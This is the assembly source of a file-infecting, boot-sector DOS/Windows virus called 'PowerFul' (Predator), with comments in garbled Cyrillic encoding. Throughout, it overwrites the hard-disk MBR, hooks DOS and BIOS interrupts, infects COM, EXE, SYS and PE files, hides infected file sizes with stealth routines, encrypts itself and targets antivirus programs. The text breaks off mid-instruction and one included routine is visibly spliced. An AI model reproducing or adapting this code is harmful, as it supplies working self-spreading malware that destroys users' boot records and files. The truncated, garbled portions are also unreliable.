[POWERFUL.ASM] ; p Predator  ; Const Ŀ ;p p ; version_of_virus equ <52> ; ; p ; length_virus_in_bate=(endvirus-virus) ; ; p ᥪp ; length_virus_in_sector=(length_virus_in_bate)/200h+1 ; ; public virus ;For Soft-Ice include macro.inc .286 .model tiny locals jumps .code start: ; ANTIVIRUS BREAK ;H p쭮 p 䠩 ᤥ pᯮ ANTIVIRUS' ;p直 (窨 ⠭) ; push_all_register ; 㤥 p쭮 p 䠩 ; mov ah,2 ; mov dl,40h ; int 21h ; SMEG Decryptor ;H p쭮 p 䠩 ᤥ 㤥 室 pp ⨯ SMEG. ; 砩 400h 600h ; Virus virus: ; ⪠ VIRUS 室 p cs:0 jmp goto_virus ; Manager of Predator  ; Const Ŀ ;p 宦 MANAGER' address_of_manager_in_memory=240h ; ; begin_manager: dw 31f5h % db 'PowerFul v&version_of_virus& // DK' ; ;᭮ ﭭ manager'. ;p⪠ 21' pp뢠 manager obr_int_21_in_manager: push_all_register_withf cld zero_ds set_es_BC00 cmp byte ptr ds:[flag_obr_int21-begin_manager+address_of_manager_in_memory],1 jz two_part_of_manager cmp ax,3521h ; 21' p jnz maybe_set_vector pop_all_register_withf les bx,cs:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1] iret maybe_set_vector: cmp ax,2521h ; ⠢ 21' p jnz two_part_of_manager pop_all_register_withf mov cs:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1],dx mov cs:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+3],ds mov byte ptr cs:[flag_obr_int21-begin_manager+address_of_manager_in_memory],1 mov word ptr cs:[21h*4],offset(obr_int_21_in_manager-begin_manager+address_of_manager_in_memory) mov word ptr cs:[21h*4+2],0 iret two_part_of_manager: mov ah,0fh ; ⥪騩 VIDEO ० pushf call dword ptr ds:[10h*4] cmp al,3h ja quit_manager jmp quit_manager ;஢ਬ 稥 call crc jnc detected_virus_in_memory dec byte ptr ds:[solving-begin_manager+address_of_manager_in_memory] cmp byte ptr ds:[solving-begin_manager+address_of_manager_in_memory],0 ja quit_manager mov byte ptr ds:[solving-begin_manager+address_of_manager_in_memory],200d ;⠥ xor bx,bx virus_place_on_disk: mov cx,0100h mov ah,02 mov al,length_virus_in_sector mov dx,0080h pushf call dword ptr ds:[13h*4] ;⠥ p p BC00:0000 jc quit_manager detected_virus_in_memory: ;। ࠢ lds ax,ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1] mov es:[place_of_int21-virus+1],ax mov es:[place_of_int21-virus+3],ds pop_all_register_withf jmp dword ptr cs:[jumper-begin_manager+address_of_manager_in_memory] quit_manager: pop_all_register_withf int21_old_vector_in_manager: db 0eah,00,00,00,00 ; crc: push_all_register set_ds_BC00 xor bx,bx xor ax,ax mov si,offset(begin_solve_crc16-virus) mov cx,offset(end_solve_crc16-begin_solve_crc16) cld crc16: lodsb ;AL <- DS:[SI] shr bx,1 add bx,ax loop crc16 cmp bx,13Eh jnz bad_crc clc jmp quit_crc bad_crc: stc quit_crc: pop_all_register retn ; ;p manager'a, ᯮ ⮫쪮 p p㧪 ;p墠 INT 21. ;p⪠ 8' pp뢠 manager obr_int_8_in_manager: push_all_register_withf xor ax,ax mov ds,ax mov ax,word ptr ds:[21h*4+2] cmp ax,800h ja @@quit ;⠭ ᢮ INT 21 cli les bx,ds:[21h*4] mov ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1],bx mov ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+3],es mov word ptr ds:[21h*4],offset(obr_int_21_in_manager-begin_manager+address_of_manager_in_memory) mov word ptr ds:[21h*4+2],0 mov byte ptr ds:[flag_obr_int21-begin_manager+address_of_manager_in_memory],0 les bx,cs:[int8_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1] mov ds:[8h*4],bx mov ds:[8h*4+2],es @@quit: pop_all_register_withf int8_old_vector_in_manager: db 0eah,00,00,00,00 ; DATA in manager jumper dw offset(obr21-virus),0Bc00h solving db 200d flag_obr_int21 db 0h ;p , 室 MANAGER for_5b_3c_file_name db 50h dup (?) for_5b_3c_handle dw 0ffh manager_idle_flag db 0h ; 1' ᫨ MANAGER 몫祭 end_manager: ; BOOT begin_mbr: xor bx,bx cli mov sp,7c00h mov ss,bx sti jmp short jump_version check_mbr: ;⪠ pᯮ 㦥 MBR dw 31f5h db version_of_virus jump_version: mov ax,0bc00h mov es,ax virus_place_on_disk2: ;⠥ p p BC00:0000 mov cx,0100h mov ah,02 mov al,length_virus_in_sector mov dx,0080h int 13h push es mov ax,offset(after_mbr-virus) push ax retf end_mbr: ; AFTER BOOT ; Data section Ŀ flag_what_file db 4h ; ; 1, ᫨ 䠩 COM ; ; 2, ᫨ 䠩 SYS ; ; 3, ᫨ 䠩 EXE (DOS) ; ; 4, ᫨ 䠩 PE EXE (32'bit Windows 95 app) ; ; 4, ⠪ 室 Original Instalation ; string_NT db 10,'Windows*NT' ; ; ;H 室 AFTER MBR: ES=BC00h=CS after_mbr: ;⠢ manager zero_es push cs pop ds mov si,offset(begin_manager-virus) mov di,address_of_manager_in_memory mov cx,offset(end_manager-begin_manager) ;訡 ᫨ ࠧ Manager' 200h .errnz offset(end_manager-begin_manager) GT (400h-address_of_manager_in_memory) rep movsb ; DS:[SI] -> ES:[DI] ;⠭ INT8 manager lds bx,es:[8h*4] mov es:[int8_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1],bx mov es:[int8_old_vector_in_manager-begin_manager+address_of_manager_in_memory+3],ds cli mov es:[8h*4],offset(obr_int_8_in_manager-begin_manager+address_of_manager_in_memory) mov word ptr es:[8h*4+2],0 sti ;⠥ ਣ MBR । ࠢ mov ax,0201h mov bx,7c00h mov cx,word ptr cs:[virus_place_on_disk2-virus+1] dec cx mov dx,0080h int 13h ;⠥ p MBR p 0:7c00h push es push bx retf ; General Virus Entry Point  ;H 室 ⥪ (DS ES PUSHA - ᫨ ᤥ POP AX, AX 㤥 = DS) goto_virus: push cs pop ds call $+3 init_offset_of_virus: pop si sub si,offset(init_offset_of_virus-virus) push si ;pp NT ᨤ mov ah,62h int 21h mov es,bx mov es,es:[2ch] xor di,di ;ES:DI = 0:0 - 㤠 ᪠p mov cx,200h ;쪮 ᪠p mov bx,1h ; ᪠p p 1' lea si,[string_NT-virus+si] call scan_mem_call pop si push si jc goto_normal_programm ; p㦨 Windows NT lea bx,[endvirus-virus+si] ; ⥫ push cs pop es mov cx,0001h ; =1 =0 mov dx,0080h ; =0 mov ax,0201h int 13h jnc check_our_on_mbr ; 室 p 訡 ⥭ MBR cmp byte ptr ds:[extention-virus+si],2 ;SYS 䠩 jz goto_normal_programm jmp write_on_memory check_our_on_mbr: cmp word ptr ds:[check_mbr-begin_mbr+bx],31f5h ; pp塞 - 㦥 MBR jz write_on_memory call take_param_disk jc write_on_memory ;뢠 ਣ MBR ᥪ mov ax,0301h mov dx,0080h call call_int_13 jc write_on_memory ; 襬 ⥫ p . mov ah,03h ;쪮 ᥪp p mov al,length_virus_in_sector mov bx,si inc cx ; ᠭ ਣ. MBR mov word ptr ds:[virus_place_on_disk-virus+1+bx],cx mov word ptr ds:[virus_place_on_disk2-virus+1+bx],cx ; ᥪ 樫p, 室 ;砫 p mov dx,0080h call call_int_13 jc write_on_memory ;pᨬ MBR' 孨 MBR lea si,[begin_mbr-virus+bx] ; MBR- . lea di,[endvirus-virus+bx] ; ਣ. MBR ᥩ 室. mov cx,offset(end_mbr-begin_mbr) rep movsb ;ᨬ ਣ. MBR . ;H "Y", ᫨ p  ⠡窠 BIOS' MBR zero_ds mov word ptr ds:[041ah],1eh mov word ptr ds:[041ch],1eh+2h mov word ptr ds:[041eh],1559h ;襬 MBR mov ax,0301h lea bx,[endvirus-virus+bx] call set_dses_cs mov cx,0001h mov dx,0080h call call_int_13 zero_ds ;頥 p p mov word ptr ds:[041ah],1eh mov word ptr ds:[041ch],1eh jmp write_on_memory ; take_param_disk: mov ah,8h mov dl,80h int 13h ; ࠬ ᪠ jc quit_from_take_param_disk and cl,00111111B ;CL-ᨬ ᥪ, p p ;H-ᨬ 樫 ;DH-ᨬ , p p cmp cl,1+1+length_virus_in_sector+1 ;1(Reserved_for_MBR)+1(OLD_MBR)+( p ᥪp)+1(Reserved) jb quit_from_take_param_disk_with_set_carry mov cl,2 xor ch,ch xor dh,dh quit_from_take_param_disk: retn quit_from_take_param_disk_with_set_carry: stc retn ; call_int_13: push ds zero_ds pushf cli call dword ptr ds:[13h*4] pop ds retn ; p릮 write_on_memory: zero_ds cmp word ptr ds:[address_of_manager_in_memory],31f5h jnz goto_normal_programm cmp byte ptr ds:[manager_idle_flag-begin_manager+address_of_manager_in_memory],1h jnz goto_normal_programm mov byte ptr ds:[manager_idle_flag-begin_manager+address_of_manager_in_memory],0 mov ax,3521h ;ES:BX int 21h mov ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+1],bx mov ds:[int21_old_vector_in_manager-begin_manager+address_of_manager_in_memory+3],es mov ax,2521h ;DS:DX mov dx,offset(obr_int_21_in_manager-begin_manager+address_of_manager_in_memory) int 21h ; p p p쭮 pp goto_normal_programm: pop bx ;饭 ⪨ Virus call set_dses_cs cmp byte ptr ds:[bx+extention-virus],4 ;smartdrv.exe jnz itis_not_smartdrv mov ax,4c00h int 21h itis_not_smartdrv: mov ax,cs cmp byte ptr ds:[bx+extention-virus],2 ;SYS 䠩 jz decrypt_sysfile pop ax ; ES, p ⥪ push ax ; COM EXE 䠩 ⭮⥫쭠 窠 ;pp PSP+10h:0000 add ax,10h decrypt_sysfile: mov es,ax call decrypt_blok cmp byte ptr ds:[bx+extention-virus],2 ;SYS 䠩 jnz itisnot_SYS_file ; SYS mov ax,word ptr ds:[bx+old_first_1c_byte-virus+6] mov ds:[6],ax add word ptr ds:[bx+sys_jmp-virus+3],bx pop_all_register sys_jmp: jmp cs:[old_first_1c_byte-virus+6] ; itisnot_SYS_file: pop es push es mov bp,es add bp,10h add ds:[old_first_1c_byte-virus+bx+16h],bp ;Relo CS add ds:[old_first_1c_byte-virus+bx+0eh],bp ;Relo SS add word ptr ds:[here_jmp-virus+3+bx],bx cmp byte ptr ds:[extention-virus+bx],3 ;EXE 䠩 jz itis_EXE_file ; COM lea si,[old_first_1c_byte-virus+bx] mov di,100h mov cx,03h rep movsb ;DS:[SI] -> ES:[DI] pop_all_register jmp here_jmp ; ;H 室 BP = PSP+10h itis_EXE_file: mov ds,es:[2ch] ; p ⥬ ⥪ xor si,si ;饬 EXE 䠩 seach_to_EXE_file: inc si cmp word ptr [si],0 jnz seach_to_EXE_file add si,4 mov dx,si ;p뢠 䠩 mov ax,3d00h int 21h jc error_adjust_EXE_file push cs pop ds mov word ptr ds:[bx+handle_of_EXE_file-virus+1],ax xor cx,cx ;襭 ⠡ p饭 mov dx,ds:[bx+old_first_1c_byte-virus+18h] mov ax,4200h call call_int_21_adjust_EXE_file next_blok_item: lea si,ds:[bx+offset_for_adjust_EXE_file-virus] mov dx,si ;⢮ ⮢ ⠡ p饭 mov cx,ds:[bx+old_first_1c_byte-virus+06h] jcxz EXE_file_is_adjusted cmp cx,offset(endvirus-offset_for_adjust_EXE_file)/4h jc blok_item_is_not_big mov cx,offset(endvirus-offset_for_adjust_EXE_file)/4h blok_item_is_not_big: sub ds:[bx+old_first_1c_byte-virus+06h],cx push cx shl cx,1 shl cx,1 ;CX*4 mov ah,3fh call call_int_21_adjust_EXE_file jc error_adjust_EXE_file pop cx next_item: add [si+2],bp les di,[si] add es:[di],bp add si,4 loop next_item cmp word ptr [bx+old_first_1c_byte-virus+06h],0 ja next_blok_item EXE_file_is_adjusted: mov ah,3eh ;p ⥫ 䠩 call call_int_21_adjust_EXE_file add word ptr ds:[bx+here_sp-virus+3],bx add word ptr ds:[bx+here_reloss-virus+3],bx pop_all_register cli here_sp: mov sp,cs:[old_first_1c_byte-virus+10h] ;SP here_reloss: mov ss,cs:[old_first_1c_byte-virus+0eh] ;Relo SS sti here_jmp: jmp dword ptr cs:[old_first_1c_byte-virus+14h] ; error_adjust_EXE_file: sti mov ax,4c00h int 21h ; Data Section Ŀ old_first_1c_byte db 0,1,2 ; 㤥 JMP COM 䠩 ; db 3,4,5,6,7,8,9,0ah,0bh,0ch,0dh ; db 0f0h,0ffh ;饭 0eh - Relo SS ; db 0feh,0ffh ;饭 10h - SP ; db 012h,013h ; db 000h,001h ;饭 14h - IP ; db 0f0h,0ffh ;饭 16h - ReloCS ; db 018h,019h,01ah,01bh ; ; OLD_FIRST_1C_BYTE 室 ⮬ , ; ; 㤥 p p EXE 䠩, ; ; pp ; ; ; call_int_21_adjust_EXE_file: push bx handle_of_EXE_file: mov bx,0100h int 21h pop bx retn offset_for_adjust_EXE_file: ; p⪠ 21- pp뢠 begin_solve_crc16: obr21: pushf cld cmp ah,11h ; jz stealth_line_fcb cmp ah,12h ; jnz steal2 ;Ŀ ;p뢠 , ᫨ 䠩 p FCB stealth_line_fcb: ; push bx es ax ; mov ah,2fh ; call call_int_21 ; pop ax ; call call_int_21 ; cmp al,0ffh ; jz Fer1 ; push ax ; cmp byte ptr es:[bx],0ffh ; jnz Fer2 ; add bx,7h ; Fer2: add bx,17h ; call check_on_allredy_virused ; pop ax ; jnc Fer1 ; add bx,6h ; call give_length_without_virus ; Fer1: pop es bx ; Lbusy2: popf ; iret ; ; end_solve_crc16: steal2: cmp ah,4eh ; jz stealth_line_of_file cmp ah,4fh ; jnz other_funtions ;Ŀ ;p뢠 , 㭪権 4E 4F. stealth_line_of_file: ; push bx es ax ; mov ah,2fh ; p ⥪饩 DTA ; ; 室: ES:BX - p 砫 ; call call_int_21 ; pop ax ; call call_int_21 ; jc quit_stc_retf2 ; push ax ; add bx,16h ; call check_on_allredy_virused ; pop ax ; jnc quit_clc_retf2 ; add bx,4h ; ; call give_length_without_virus ; quit_clc_retf2: ; pop es bx ; popf ; clc ; jmp Lbusy4 ; quit_stc_retf2: ; pop es bx ; popf ; stc ; Lbusy4: sti ; Retf 0002 ; ; other_funtions: ; ⥪ PUSHF call set_our_int_24 ; ⠢ 24 뢠 cmp ax,4b00h ; 믮 䠩 jnz rename_move_file ;Ŀ ;p p ᪥ ; call Asciiz ; cmp byte ptr cs:[extention-virus],0 ; jz set_old_int_24_jmpint21 ; cmp byte ptr cs:[filename-virus],0 ; jnz antivirus_sucks ; cmp byte ptr cs:[filemask-virus],0 ; jnz antivirus_sucks ; call call_zaraza ; jmp set_old_int_24_jmpint21 ; antivirus_sucks: ; cmp byte ptr cs:[filename-virus],5 ; ja set_old_int_24_jmpint21 ; cmp byte ptr cs:[filemask-virus],3 ; jbe anti_mem ; jmp set_old_int_24_jmpint21 ; ; rename_move_file: cmp ah,56h ;p p 䠩 jz infected_fnc21 cmp ah,3dh ;p ⥫ 䠩 jz infected_fnc21 cmp ah,43h ;p p 䠩 jnz create_file ;Ŀ ;p/p 䠩 ; ;p 䠩 ; ;p p 䠩 ; infected_fnc21: ; call Asciiz ; cmp byte ptr cs:[extention-virus],0 ; jz set_old_int_24_jmpint21 ; cmp byte ptr cs:[filename-virus],0 ; jnz set_old_int_24_jmpint21 ; cmp byte ptr cs:[filemask-virus],0 ; jz infected_fnc21_call_zaraza ; cmp byte ptr cs:[filemask-virus],4 ; jnz set_old_int_24_jmpint21 ; infected_fnc21_call_zaraza: ; call call_zaraza ; jmp set_old_int_24_jmpint21 ; ; create_file: cmp ah,5bh jz infected_after_5b_3c cmp ah,3ch jnz close_file_handle_obr21 ;Ŀ ;㭪 5B ᮧ 䠩 ; ;㭪 3C ᮧ ⥫ 䠩 ; infected_after_5b_3c: ; popf ;﫨 䫠 ; call call_int_21 ; 䠩 ; push_all_register_withf ; jc set_old_int_24_popallf_retf2 ; zero_es ; mov word ptr es:[for_5b_3c_handle-begin_manager+address_of_manager_in_memory],ax mov di,offset(for_5b_3c_file_name-begin_manager+address_of_manager_in_memory) mov si,dx ; mov cx,size for_5b_3c_file_name ; rep movsb ;DS:[SI] -> ES:[DI] ; jmp set_old_int_24_popallf_retf2 ; ; close_file_handle_obr21: cmp ah,3eh ;p ⥫ 䠩 jnz set_old_int_24_jmpint21 ;Ŀ push ds ; zero_ds ; cmp bx,word ptr ds:[for_5b_3c_handle-begin_manager+address_of_manager_in_memory] jz zaraza3e ; pop ds ; jmp set_old_int_24_jmpint21 ; zaraza3e: ; pop ds ; popf ; call call_int_21 ; push_all_register_withf ; zero_ds ; mov dx,offset(for_5b_3c_file_name-begin_manager+address_of_manager_in_memory) call Asciiz ; cmp byte ptr cs:[extention-virus],0 ; jz set_old_int_24_popallf_retf2 ; cmp byte ptr cs:[filename-virus],0 ; jnz set_old_int_24_popallf_retf2 ; cmp byte ptr cs:[filemask-virus],0 ; jnz set_old_int_24_popallf_retf2 ; call call_zaraza ; set_old_int_24_popallf_retf2: ; call set_old_int_24 ; ⠢ p 24- pp뢠 pop_all_register_withf ; sti ; retf 0002 ; ; set_old_int_24_jmpint21: call set_old_int_24 ; ⠢ p 24' 뢠 ; ⥪ FLAGS popf jmp dword ptr cs:[place_of_int21-virus+1] ; ZARAZA call_zaraza: push_all_register call void_atr jc pop_all_reg_and_retn mov ax,3d02h ; p 䠩 ⥭/ call call_int_21 jc cannot_take_handle push dx ds mov cs:[place_of_handle-virus+1],ax ; ⥫ p ᤥ ( 易⥫쭮) call common_infected call close_file_handle pop ds dx cannot_take_handle: call set_old_atr pop_all_reg_and_retn: pop_all_register retn ; common_infected: mov bp,sp call set_dses_cs call check_on_allredy_virused_with_take_time jc infect_error ; p mov word ptr ds:[bx],ax ; AX p (p) call set_lseek_begin ;砥 1Ch p OLD p mov cx,1ch mov dx,offset(old_first_1c_byte-virus) push dx ;1 call read_file_through_handle jc infect_error cmp byte ptr ds:[filemask-virus],4 ;PE File jz goto_infect_PE_file ;p뫠 ᮤp OLD NEW xchg si,dx mov di,offset(new_first_1c_byte-virus) rep movsb ;DS:[SI] -> ES:[DI] call set_lseek_end mov di,dx mov si,ax ; DI:SI - 䠩 pop bx ;1 ; BX ᬥ饭 OLD p cmp word ptr [bx],0ffffh ; pp p⢠ SYS jz go_infect_sys cmp word ptr [bx],'ZM' jz go_infec_exe ; 䠩 EXE - p EXE ; COM cmp byte ptr ds:[extention-virus],2 ;2-SYS file jz infect_error ;  ᫨ 䠩 pp COM EXE. mov byte ptr ds:[extention-virus],1 ;1-COM file ;⨬ COM 䠩 (㦭)! cmp ax,0ffffh-offset(endvirus-virus+size buffer_for_SMEG_decryptor+300h) ; jae infect_error cmp ax,size buffer_for_SMEG_decryptor ; ;- ⮣ pp p jbe infect_error ;室 pp encrypt_blok mov bx,ds:[place_of_handle-virus+1] mov dx,ax mov ax,20h pusha call set_lseek_begin popa call encrypt_blok mov bx,offset(new_first_1c_byte-virus) mov byte ptr ds:[bx],0e9h mov ds:[bx+01],dx sub word ptr ds:[bx+01],3 mov bx,offset(old_first_1c_byte-virus) mov word ptr ds:[bx+0ah],0 mov word ptr ds:[bx+16h],0fff0h ;CS mov word ptr ds:[bx+14h],0100h ;IP ;蠥 SMEG 䠩 mov ax,dx add ax,offset(antivirus_break_block_end-antivirus_break_block+100h) call crypt_virus_and_write_to_end write_new1c_and_end: call set_lseek_begin mov cx,01ch mov dx,offset(new_first_1c_byte-virus) call write_to_file_through_handle jc infect_error set_time_of_file_and_exit: call set_time_of_file infect_error: mov sp,bp retn ; EXE ;H 室 : ;BX=OLD buffer ;DS=ES=CS ;p OLD 1C ⠬ 砫 䠩 ;DI:SI - 䠩 go_infec_exe: ;砫 pp ᮤp- EXE' p ᫨ , p. cmp byte ptr ds:[extention-virus],2 jz infect_error ; , ᫨ 䠩 pp COM EXE. mov byte ptr ds:[extention-virus],3 ;⨬ EXE 䠩 (㦭)! mov ax,[bx+4] ; p 512- ⮢ p mov cx,200h mul cx sub ax,200h sbb dx,0 add ax,[bx+2] adc dx,0 cmp si,ax jnz infect_error cmp di,dx jnz infect_error ; ᮤp p mov ax,[bx+8] ; pp mov cx,10h mul cx sub si,ax sbb di,dx ;DI:SI - 䠩 call set_lseek_to_exe_without_header mov cx,4 mov dx,offset(common_buffer-virus) call read_file_through_handle ;pp EXE pp, ᫨ p! cmp word ptr ds:[common_buffer-virus],0ffffh jnz infect_link cmp word ptr ds:[common_buffer-virus+2],0ffffh jz infect_error cmp word ptr ds:[common_buffer-virus+2],0 jz infect_error infect_link: mov dx,0fffeh or di,di jnz big_exe_file_present cmp si,size buffer_for_SMEG_decryptor ; jc infect_error mov dx,si big_exe_file_present: ;pp encrypt_blok call set_lseek_to_exe_without_header mov bx,ds:[place_of_handle-virus+1h] mov ax,20h call encrypt_blok mov bx,offset(new_first_1c_byte-virus) ;DI:SI - 䠩 mov dx,di mov ax,si mov cx,10h div cx push dx mov [bx+16h],ax ;Relo CS mov [bx+14h],dx ;IP add dx,offset(endvirus-virus+size buffer_for_SMEG_decryptor+300h) ; adc ax,0 mov [bx+0eh],ax ;Relo SS mov [bx+10h],dx ;Sp mov word ptr [bx+06h],0 mov ax,030h cmp [bx+0ah],ax ; p㥬 殬 pp jae min_mem_above_then_30 mov [bx+0ah],ax min_mem_above_then_30: cmp [bx+0ch],ax jae max_mem_above_then_30 mov [bx+0ch],ax ;ᨬ p㥬 殬 pp max_mem_above_then_30: pop ax add ax,offset(antivirus_break_block_end-antivirus_break_block) call crypt_virus_and_write_to_end call set_lseek_end ;室: DX:AX - BX - Handle mov cx,200h div cx inc ax mov bx,offset(new_first_1c_byte-virus) mov word ptr ds:[bx+04h],ax mov word ptr ds:[bx+02h],dx jmp write_new1c_and_end ;pp ⠭ 㪠⥫ 砫 EXE 䠩 set_lseek_to_exe_without_header proc near pusha mov ax,[bx+8] ; pp mov cx,10h mul cx mov cx,dx mov dx,ax call set_lseek_begin_pluscxdx popa retn set_lseek_to_exe_without_header endp ; SYS go_infect_sys: ;஢ਬ ᫨誮 讣 ࠧ ࠩ. ;( ᮬ 64.) cmp byte ptr ds:[extention-virus],2 ; ⢨⥫쭮 SYS 䠩 ? jnz infect_error or di,di jnz infect_error cmp si,0ffffh-offset(endvirus-virus+size buffer_for_SMEG_decryptor+300h) jae infect_error cmp si,size buffer_for_SMEG_decryptor ; jbe infect_error mov word ptr ds:[new_first_1c_byte-virus+6],si ; 塞 (Strategy) call set_lseek_begin mov ax,20h mov dx,si mov bx,ds:[place_of_handle-virus+1h] call encrypt_blok mov ax,si add ax,offset(antivirus_break_block_end-antivirus_break_block) call crypt_virus_and_write_to_end jmp write_new1c_and_end ; PE goto_infect_PE_file: cmp byte ptr ds:[extention-virus],3 jnz infect_error mov byte ptr ds:[extention-virus],4 call set_lseek_begin mov cx,40h mov dx,offset(common_buffer-virus) call read_file_through_handle mov si,dx xor cx,cx mov dx,word ptr ds:[si+3ch] mov ds:[PE_EXE_header_point-virus],dx call set_lseek_begin_pluscxdx mov cx,60h mov dx,offset(PE_EXE_header-virus) call read_file_through_handle mov ax,word ptr ds:[PE_EXE_header-virus+6] ;# OBJECTS = DW Number of object entries. ;This field specifies the number of entries in the Object Table. dec ax mov cx,40d mul cx add ax,18h add ax,word ptr ds:[PE_EXE_header-virus+14h] ;+NT_Header_size add ax,word ptr ds:[PE_EXE_header_point-virus] mov ds:[obj_point-virus],ax ;㪠⥫ ᫥ ꥪ xor cx,cx mov dx,ax call set_lseek_begin_pluscxdx mov cx,40d mov dx,offset(WIN_object-virus) call read_file_through_handle ;p⠥ ᫥ ꥪ .386 ;-------------------------------------------------------------------- ;p塞 p RVA Entrypoint mov eax,dword ptr ds:[PE_EXE_header-virus+28h] ;ENTRYPOINT RVA = DD Entrypoint relative virtual address. ;The address is relative to the Image Base. The address is the ;starting address for program images and the library initialization ;and library termination address for library images. add eax,dword ptr ds:[PE_EXE_header-virus+34h] ;IMAGE BASE = DD The virtual base of the image. ;This will be the virtual address of the first byte of the file (Dos ;Header). mov dword ptr ds:[RVA_sub-virus],eax ;p RVA_Entrypoint ;-------------------------------------------------------------------- ;⠭ ᢮ RVA Entrypoint mov eax,dword ptr ds:[WIN_object-virus+0ch] ;RVA 쥪 add eax,dword ptr ds:[WIN_object-virus+10h] ;PHYS Size mov dword ptr ds:[PE_EXE_header-virus+28h],eax ; RVA_Entrypoint ;-------------------------------------------------------------------- ;㤠 p 㤥 xor edx,edx mov eax,dword ptr ds:[WIN_object-virus+14h] ;PHYS OFFSET add eax,dword ptr ds:[WIN_object-virus+10h] ;PHYS SIZE mov ecx,10000h div ecx ;EDX:EAX/ECX -> EAX:EDX .286 push dx push ax .386 ;-------------------------------------------------------------------- ;p㥬 VIRTUAL SIZE of Object xor edx,edx mov eax,dword ptr ds:[WIN_object-virus+8h] ;VIRTUAL SIZE add eax,offset(end_win_virus-begin_win_virus+50h+endvirus-virus+size common_buffer) mov ecx,dword ptr ds:[PE_EXE_header-virus+38h] ;OBJECT ALIGN div ecx inc eax mul ecx mov dword ptr ds:[WIN_object-virus+8h],eax ;-------------------------------------------------------------------- ;p㥬 PHYSICAL SIZE of Object xor edx,edx mov eax,dword ptr ds:[WIN_object-virus+10h] ;PHYS SIZE add eax,offset(end_win_virus-begin_win_virus+50h+endvirus-virus+size common_buffer) mov ecx,dword ptr ds:[PE_EXE_header-virus+3ch];FILE ALIGN div ecx inc eax mul ecx mov dword ptr ds:[WIN_object-virus+10h],eax ;------------------------------------------------------------------- ;p㥬 IMAGE SIZE mov eax,dword ptr ds:[WIN_object-virus+0ch] ;RVA OBJECT add eax,dword ptr ds:[WIN_object-virus+8h] ;VIRTUAL SIZE mov dword ptr ds:[PE_EXE_header-virus+50h],eax ;IMAGE SIZE ;-------------------------------------------------------------------- mov dword ptr ds:[WIN_object-virus+24h],0e0000040h ;-------------------------------------------------------------------- .286 xor cx,cx mov dx,ds:[PE_EXE_header_point-virus] call set_lseek_begin_pluscxdx mov cx,60h mov dx,offset(PE_EXE_header-virus) call write_to_file_through_handle xor cx,cx mov dx,word ptr ds:[obj_point-virus] call set_lseek_begin_pluscxdx mov cx,40d mov dx,offset(WIN_object-virus) call write_to_file_through_handle pop cx pop dx call set_lseek_begin_pluscxdx mov cx,offset(end_win_virus-begin_win_virus) mov dx,offset(begin_win_virus-virus) call write_to_file_through_handle ;襬 32' mov cx,50h ;32' 㫥 㤥 ᯮ짮 ;p call write_to_file_through_handle mov ax,offset(antivirus_break_block_end-antivirus_break_block+100h) call crypt_virus_and_write_to_current ;襬 p jmp set_time_of_file_and_exit ; 쭮 pp  ;pp ⥪p 䠩 (c)'98 Black Harmer ;ᯮ pᠬ p 䠩 p, ; . ;室: DS:DX - 㪠뢠 p p: ":\\ 䠩",0 ; p pp call_int_21, ⠪ ; ᮤp: ; call_int_21 proc near ; int 21h ; retn ; call_int_21 endp ;室: p ᠭ p: ; 1) filename ; 2) extention ; 3) filemask include asciiz.asm ; ;pp p⪨ 砩 ᥫ ;室: call random_any_ax (p稢  砩 ᫮ AX) ; call random_ax ( 室 㦥 AX, 室 0 AL call al_to_big_letter stosb ;AL -> ES:[DI] cmp al,'\' jz set_bx_to_name cmp al,'/' jz set_bx_to_name cmp al,':' jz set_bx_to_name or al,al jz filenames_check loop scan_name ; ;pp p filenames_check: mov si,bx push cs pop es lea di,[bp+filenames-Asciiz] ;pp p p ᪮쪨 p㣨 ;室: DS:[SI] p p 㤥 p p p ; ES:[DI] p p: ; db 6,'sergey' ; db 5,'misha' ; db 0ffh - p ;室: AX==0 - ᮢ ; AX!=0 - p ᮢ襩 p 稭 1' call cmps_string_with_databasestring mov byte ptr cs:[bp+filename-Asciiz],al ; ;pp p pp check_file_extention: seach_point: lodsb ;DS:[SI] cmp al,'.' jz point_found or al,al jnz seach_point point_found: lea di,[bp+extentions-Asciiz] call cmps_string_with_databasestring mov byte ptr cs:[bp+extention-Asciiz],al or al,al jnz check_filemask pop dx jmp set_filemask_zero_exit ; ;pp p ᮪ check_filemask: pop dx pop ds push ds mov ax,3d00h ;p ⥫ ⥭ call call_int_21 jc set_filemask_zero_exit push cs pop ds lea si,[bp+filemasks-Asciiz] mov bx,ax mov byte ptr cs:[bp+filemask-Asciiz],1 next_mask: cmp byte ptr [si],0ffh jz close_file_set_filemask_zero_exit cmp byte ptr [si+2],0f0h jnz no_from_end xor cx,cx xor dx,dx mov ax,4202h call call_int_21 sub ax,[si] inc si mov cx,dx mov dx,ax mov ax,4200h call call_int_21 jmp read_and_check_mask no_from_end: cmp byte ptr [si+2],0f1h jnz no_win_check xor cx,cx mov dx,[si] inc si mov ax,4200h call call_int_21 lea dx,[bp+mask_buffer-Asciiz] mov cl,2 mov ah,3fh call call_int_21 xor cx,cx mov dx,word ptr cs:[bp+mask_buffer-Asciiz] mov ax,4200h call call_int_21 jmp read_and_check_mask no_win_check: xor cx,cx mov dx,word ptr [si] mov ax,4200h call call_int_21 ;⠥ pp塞 read_and_check_mask: lea dx,[bp+mask_buffer-Asciiz] xor cx,cx mov cl,[si+2] mov ah,3fh call call_int_21 add si,3 push si mov di,dx next_letter_of_mask: cmp byte ptr [si],'*' jz next_letter cmp byte ptr [si],'?' jnz letter_is_not_q cmp byte ptr [di],30h jl mask_failed cmp byte ptr [di],39h jg mask_failed next_letter: inc si inc di loop next_letter_of_mask jmp mask_coincide letter_is_not_q: cmpsb ;p DS:[SI] ES:[DI] jnz mask_failed loop next_letter_of_mask ; ᪠ mask_coincide: pop si mov ah,3eh call call_int_21 jmp exit_Asciiz ;᪠ ᮢ mask_failed: pop si xor cx,cx mov cl,ds:[si-1] add si,cx inc byte ptr cs:[bp+filemask-Asciiz] jmp next_mask close_file_set_filemask_zero_exit: mov ah,3eh call call_int_21 set_filemask_zero_exit: mov byte ptr 